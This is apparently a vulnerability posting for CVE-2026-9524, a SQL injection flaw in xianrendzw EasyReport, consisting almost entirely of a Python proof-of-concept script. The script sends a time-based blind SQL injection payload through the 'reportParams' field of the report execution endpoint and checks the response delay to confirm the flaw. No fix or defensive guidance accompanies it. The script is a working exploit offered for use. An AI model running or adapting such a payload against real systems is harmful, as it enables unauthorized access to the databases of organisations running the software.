CVE-2026-9524 xianrendzw EasyReport SQL注入漏洞

import requests import json # Target configuration target_url = "http://target-ip:port/easyreport/rest/execute" # Attacker credentials (Low privilege required) login_data = { "username": "low_priv_user", "password": "password" } # Malicious payload targeting the 'reportParams' argument # This payload attempts a time-based blind injection to check for vulnerability payload_data = { "reportParams": "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: # Step 1: Establish session (simulated) session = requests.Session() # session.post(target_url.replace("/execute", "/login"), data=json.dumps(login_data), headers=headers) # Step 2: Send exploit request print(f"[*] Sending payload to {target_url}...") response = session.post(target_url, data=json.dumps(payload_data), headers=headers) # Step 3: Analyze response time for blind injection if response.elapsed.total_seconds() > 5: print("[+] Vulnerability confirmed! Response delay indicates SQL injection.") else: print("[-] Vulnerability not detected or payload failed.") except Exception as e: print(f"[!] Error occurred: {e}")